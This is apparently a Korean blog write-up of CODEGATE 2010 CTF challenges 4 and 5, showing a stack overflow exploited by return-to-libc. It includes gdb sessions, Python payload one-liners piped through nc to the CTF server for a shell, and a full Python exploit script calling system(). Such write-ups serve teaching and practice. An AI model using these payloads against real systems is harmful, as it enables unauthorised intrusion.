CODEGATE 2010 CHALLENGE 4, 5 (RTL)

http://www.vnsecurity.net/2010/03/codegate-2010-online-ctf-challenge-4-5-writeup/
위 페이지를 참고하여 문제를 다시 한번 풀고 정리한 내용 입니다.
RTL을 이해하는데 도움이 될 거 같네요...

hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) b main
Breakpoint 1 at 0x804850e
(gdb) r
Starting program: /tmp/by/easy

Breakpoint 1, 0x0804850e in main ()
(gdb) x/x execl
0x1ea0c0 <execl>:       0x53565755
(gdb) q

execl 주소를 확인하여 보면 0x1ea0c0 이다.

hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble main
Dump of assembler code for function main:
0x0804850b <main+0>:    push   %ebp
0x0804850c <main+1>:    mov    %esp,%ebp
0x0804850e <main+3>:    and    $0xfffffff0,%esp
0x08048511 <main+6>:    sub    $0x20,%esp
0x08048514 <main+9>:    movl   $0x0,0x1c(%esp)
0x0804851c <main+17>:   mov    $0x8048640,%eax
0x08048521 <main+22>:   mov    %eax,(%esp)
0x08048524 <main+25>:   call   0x8048408 <printf@plt>
0x08048529 <main+30>:   movl   $0x0,(%esp)
0x08048530 <main+37>:   call   0x80483e8 <fflush@plt>
0x08048535 <main+42>:   mov    0x804a024,%eax
0x0804853a <main+47>:   mov    %eax,%edx
0x0804853c <main+49>:   lea    0x18(%esp),%eax
0x08048540 <main+53>:   mov    %edx,0x8(%esp)
0x08048544 <main+57>:   mov    %eax,0x4(%esp)
0x08048548 <main+61>:   lea    0x1c(%esp),%eax
0x0804854c <main+65>:   mov    %eax,(%esp)
0x0804854f <main+68>:   call   0x80483d8 <getline@plt>
0x08048554 <main+73>:   mov    0x18(%esp),%edx
0x08048558 <main+77>:   mov    0x1c(%esp),%eax
0x0804855c <main+81>:   mov    %edx,0x4(%esp)
0x08048560 <main+85>:   mov    %eax,(%esp)
0x08048563 <main+88>:   call   0x80484e4 <func>
0x08048568 <main+93>:   movl   $0x8048648,(%esp)
0x0804856f <main+100>:  call   0x8048418 <puts@plt>
0x08048574 <main+105>:  leave
0x08048575 <main+106>:  ret
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r
Starting program: /tmp/by/easy
Input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048568      0x0804b008      0x00000078      0x002ef420
0xbffff75c:     0xbffff778      0x001dd345      0x0019ed20      0x00000078
0xbffff76c:     0x0804b008     0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x001c4b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x0053b858      0xbffff7e0      0xffffffff      0x001acff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x0019e326
0xbffff7ac:     0x001ad828      0x0053bb40      0x002eeff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xcc6d256e      0x0b141211
(gdb) x/32wx 0x0804b008
0x804b008:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b018:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b028:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b038:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b048:      0x41414141      0x41414141      0x41414141      0x41414141
0x804b058:      0x41414141      0x41414141      0x41414141      0x000a4141
0x804b068:      0x00000000      0x00000000      0x00000000      0x00000000
0x804b078:      0x00000000      0x00000000      0x00000000      0x00020f81
(gdb)

위 주소에서 0x0804b008 주소에 입력한 'A' 값이 들어감을 확인하였다.
그리고 위 주소들은 execl() 또는 system() 의 인자로 구성되기에 알맞은 구조로 되어 있다.
(마지막이 NULL (0x00)으로 구성되어 있으므로...)

따라서 ret를 이용하여 esp를 끌어올려 execl() 함수의 위치를 맞추어 원하는 인자를 넣어 보도록 하자.
공격은 코드의 구성은 아래와 같다.
[/bin/sh\x00] + [A, 260] + [ret * ?] + [execl()]

gdb 에서 argv를 인자로 줄 때는 "r 인자"로 구성하면 되지만 scanf(), getline() 등의 함수로 인자를 받을 시
gdb 내에서 입력하기가 곤란하다. 따라서 아래와 같이 리다이렉트를 통해 입력하면 된다.

hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*1 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048575      0x001a70c0      0x0000000a      0x00ad2420
0xbffff75c:     0xbffff778      0x009c0345      0x00505d20      0x00000116
0xbffff76c:     0x0804b008      0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x009a7b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x00213858      0xbffff7e0      0xffffffff      0x00513ff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x00505326
0xbffff7ac:     0x00514828      0x00213b40      0x00ad1ff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xa3451f93      0x685c28ed
(gdb) x/s 0x0804b008
0x804b008:       "/bin/sh"
(gdb)

현재 ret주소에 main의 ret 코드 주소를 넣어 esp+4의 위치를 참조하게 된다.
esp+4의 위치는 execl() 함수 주소 이다. 그렇다면 execl() 함수의 인자가 다음에 오게 되는데...
우리가 원하는 "/bin/sh" 인자는 6번째 떨어진 위치에 존재한다. 따라서 ret를 6개 입력을 하여 다시 공격을 해보도록 하자.

hugh@codegate-desktop:/tmp/by$ python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'" > payload
hugh@codegate-desktop:/tmp/by$ gdb -q easy
Reading symbols from /tmp/by/easy...done.
(gdb) disassemble func
Dump of assembler code for function func:
0x080484e4 <func+0>:    push   %ebp
0x080484e5 <func+1>:    mov    %esp,%ebp
0x080484e7 <func+3>:    sub    $0x118,%esp
0x080484ed <func+9>:    mov    0xc(%ebp),%eax
0x080484f0 <func+12>:   mov    %eax,0x8(%esp)
0x080484f4 <func+16>:   mov    0x8(%ebp),%eax
0x080484f7 <func+19>:   mov    %eax,0x4(%esp)
0x080484fb <func+23>:   lea    -0x108(%ebp),%eax
0x08048501 <func+29>:   mov    %eax,(%esp)
0x08048504 <func+32>:   call   0x80483f8 <memcpy@plt>
0x08048509 <func+37>:   leave
0x0804850a <func+38>:   ret
End of assembler dump.
(gdb) b *func+38
Breakpoint 1 at 0x804850a
(gdb) r < payload
Starting program: /tmp/by/easy < payload
Input:
Breakpoint 1, 0x0804850a in func ()
(gdb) x/32wx $esp
0xbffff74c:     0x08048575      0x08048575      0x08048575      0x08048575
0xbffff75c:     0x08048575      0x08048575      0x001a70c0      0x0000000a
0xbffff76c:     0x0804b008      0x08048590      0x00000000      0xbffff7f8
0xbffff77c:     0x00126b56      0x00000001      0xbffff824      0xbffff82c
0xbffff78c:     0x00c8c858      0xbffff7e0      0xffffffff      0x0065fff4
0xbffff79c:     0x080482dd      0x00000001      0xbffff7e0      0x00651326
0xbffff7ac:     0x00660828      0x00c8cb40      0x00250ff4      0x00000000
0xbffff7bc:     0x00000000      0xbffff7f8      0xd9ad8518      0x0294b267
(gdb) x/s 0x0804b008
0x804b008:       "/bin/sh"
(gdb)

인자가 제대로 구성이 된것을 확인할 수 있었다. 이제 공격을 해보도록 하자.

byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9000; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:

id
uid=1003(easy) gid=1003(easy)
cat /home/easy/flag.txt
bc15d4ddf6ca486682064ad226a7ff1b  -

똑같이 5번 문제도 같은 방식으로 풀린다.

byjjoon@Ubuntu:~/Padocon$ while true; do (python -c "print '/bin/sh\x00' + 'A'*260 + '\x75\x85\x04\x08'*6 + '\xc0\x70\x1a\x00'"; cat) | nc ctf4.codegate.org 9001; done
Input:
Input:
Input:
Input:
Input:
Input:
Input:
Input:

id
uid=1004(harder) gid=1004(harder)
cat /home/harder/flag.txt
e2e4cb6adc9cd761dcde774f84529591  -

아래 코드는 system() 함수를 이용하여 작성한 exploit 코드 이다.

#!/usr/bin/python
import sys
import socket
import time
from struct import pack

def send_payload(host, port, payload):
    print '[+] Connect - %s:%d' % (host, port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    a = s.recv(128)
    print '[+] Receive - %s' % a
    time.sleep(2)
    print '[+] Sending Payload'
    s.send(payload)
    time.sleep(2)
    print s.recv(512)
    s.close()

def main():
    host = 'ctf4.codegate.org'
    port = 9000

    payload = ''
    payload += 'cat /home/easy/flag.txt\x00'
    payload += 'A'*244
    payload += pack('L', 0x08048575) * 6 # ret
    payload += pack('L', 0x149020) # system()
    payload += '\n'

    send_payload(host, port, payload)

if __name__ == '__main__':
    print '[+] Strat!'
    main()
byjjoon@Ubuntu:~/Padocon$ ./exploit_3.py
[+] Strat!
[+] Connect - ctf4.codegate.org:9000
[+] Receive - Input:
[+] Sending Payload
bc15d4ddf6ca486682064ad226a7ff1b  -

byjjoon@Ubuntu:~/Padocon$

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다